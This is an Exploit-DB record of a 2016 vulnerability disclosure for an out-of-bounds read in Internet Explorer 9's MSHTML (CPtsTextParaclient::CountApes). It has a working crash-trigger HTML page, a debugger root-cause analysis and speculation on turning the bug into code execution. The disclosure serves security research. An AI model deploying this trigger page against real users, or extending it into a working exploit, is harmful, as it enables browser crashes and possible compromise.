Microsoft Internet Explorer 9 - MSHTML CPtsTextParaclient::CountApes Out-of-Bounds Read

EDB-ID:

40722

CVE:

N/A


Author:

Skylined

Type:

dos


Platform:

Windows

Date:

2016-11-07


<!--
Source: http://blog.skylined.nl/20161104001.html

Synopsis

A specially crafted web-page can cause Microsoft Internet Explorer 9 to access data before the start of a memory block. An attack that is able to control what is stored before this memory block may be able to disclose information from memory or execute arbitrary code.

Known affected versions, attack vectors and mitigations

Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. As far as can be determined, disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
-->

<!DOCTYPE html>
<!-- This file must be loaded inside an iframe in another web-page to trigger the vulnerability. -->
<html>
  <head>
    <style>
      oElement1 {
        position: absolute;
      }
      oElement2:after {
        position: relative;
        content: counter(x);
      }
    </style>
    <script>
      onload = function () {
        oElement1 = document.createElement('oElement1');
        document.documentElement.appendChild(oElement1);
        oElement2 = document.createElement('oElement2');
        document.documentElement.appendChild(oElement2);
      };
    </script>
  </head>
</html>

<!--
Description

After adding two elements with specific style properties during the onload event handler, MSIE refreshes the layout, at which point the "content" style causes it to update a counter, which triggers a call to CPtsTextParaclient::CountApes, in which the exception happens on x86:

MSHTML!CPtsTextParaclient::CountApes:
    mov     edi,edi
    push    ebp
    mov     ebp,esp
    sub     esp,8
    push    ebx
    mov     ebx,dword ptr [eax+20h]
    push    esi
    lea     ecx,[eax+24h]
    push    edi
    mov     dword ptr [ebp-8],ecx
    mov     dword ptr [ebp-4],0
    test    ebx,ebx
    je      MSHTML!CPtsTextParaclient::CountApes+0x1b7
    cmp     ebx,dword ptr [ebp-8]
    je      MSHTML!CPtsTextParaclient::CountApes+0x1b3
    mov     eax,dword ptr [ebx]  ds:0023:dcbabbbb=????????

I enabled page-heap to make triggering the issue more reliable and get a better idea of what is going on. To understand how, a bit of background on how page heap works is needed. When you enable full page-heap in an application, every heap allocation will be given its own "page". This page contains a data structure that contains information used by page-heap to store information about the allocation, followed by the allocated memory itself and then some optional padding. This structure is stored at the end of the page, with the user allocation aligned as required (hence the optional padding). This memory page is followed by a reserved page, which causes any out-of-bounds access immediately after the allocation to cause an access violation exception. Full details can be found in the Application Verifier documentation on-line.

As the documentation shows, the 0xdcbabbbb value in ebx that causes the access violation is used by page-heap as the "Prefix end magic": a marker at the end of the structure used by page-heap to store information about the allocation that comes immediately before the actual allocation. From the assembly we can see that ebx was read from eax + 0x20, so it might be interesting to ask page-heap where that points to:

1:020> !heap -p -a @eax
    address 0b00efb4 found in
    _DPH_HEAP_ROOT @ 51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 af126e8:          b00efd8               24 -          b00e000             2000
    71908e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77c15ede ntdll!RtlDebugAllocateHeap+0x00000030
    77bda40a ntdll!RtlpAllocateHeap+0x000000c4
    77ba5ae0 ntdll!RtlAllocateHeap+0x0000023a
    683928a3 MSHTML!CGeneratedTreeNode::InitBeginPos+0x00000016
    683926b4 MSHTML!CGeneratedContent::InsertOneNode+0x00000044
    6839264d MSHTML!CGeneratedContent::CreateNode+0x000000b8
    68392be1 MSHTML!CGeneratedContent::CreateContent+0x000000d6
    68392b0b MSHTML!CGeneratedContent::ApplyContentExpressionCore+0x00000109
    681a397c MSHTML!CElement::ComputeFormatsVirtual+0x000021c9
    682e9421 MSHTML!CElement::ComputeFormats+0x000000f1
<<<snip>>>

This tells us that eax points to 0x0b00efb4, which is 0x24 bytes before the user allocated memory at 0xb00efd8. So eax + 0x20 must point 4 bytes before it and tada: this is where page-heap stores the "Prefix end magic".

It seems that this method is called to operate on an object using a pointer at an offset before the actually allocated memory. This does not make much sense until you've analyzed a lot of MSIE bugs: it's quite common in MSIE for an object to "contain" another object in memory, and for MSIE to add offsets to pointers to find a contained object, or to subtract offsets to find the container of such a contained object. It looks like this is the case here as well.

Looking at the caller, CPtsTextParaclient::GetNumberApeCorners, it appears to loop through some data structures. The call to CPtsTextParaclient::CountApes is made in the third loop.

MSHTML!CPtsTextParaclient::GetNumberApeCorners+0x103
    mov     ecx,dword ptr [esi+0Ch]
    mov     eax,dword ptr [ecx]
    and     eax,1
    lea     edx,[ebp+0Ch]
    lea     eax,[eax+eax*2]
    push    edx
    lea     eax,[ecx+eax*8-24h]
    call    MSHTML!CPtsTextParaclient::CountApes

This code uses a pointer to a memory structure (esi) to find pointer to a second structure (ecx). It reads a flag in eax and multiplies it by 0x18 (3 x 8: eax+eax*2 and eax*8), then subtracts 0x24. It then adds this to ecx to produce the eax value seen during the crash. Since the flag can be either 0 or 1, the result in eax can be either ecx - 0x24 or ecx. Obviously, in this case it is the former.

It appear that the code is using the flag to determine if ecx is a "stand-alone" object or a "contained" object. The bug is that either the code is using this flag incorrectly (the flag is correct, but does not indicate the object is a "contained" object) or the flag has been set incorrectly (the code is correct, but the flag should not have been set as the object is not "contained" in another object).

Exploitation

Using Heap Feng-Shui, it may be possible to allocated a heap block immediately before the one used in the bug and control its content in order to control the data the code is operating on. Unfortunately, at the time I did not look at what the code did with the data if the access violation could be prevented, so it's not possible for me to say exactly what an attacker might do with this vulnerability. But one can speculate that this might allow an attacker to have the code use some secret value (e.g. a pointer to a function in a modules) in a way that allows him/her to retrieve the value (i.e. information disclosure). It might be possible to have the code modify a value located anywhere in memory, and/or have the code call/jump to a location of an attackers choosing (i.e. arbitrary code execution).

I did not investigate the crash on x64, but I can only imagine the code is the same, but the offsets are different.

Time-line

June 2014: This vulnerability was found through fuzzing.
August 2014: This vulnerability was submitted to ZDI.
September 2014: ZDI rejects the submission.
November 2016: Details of this issue are released.
-->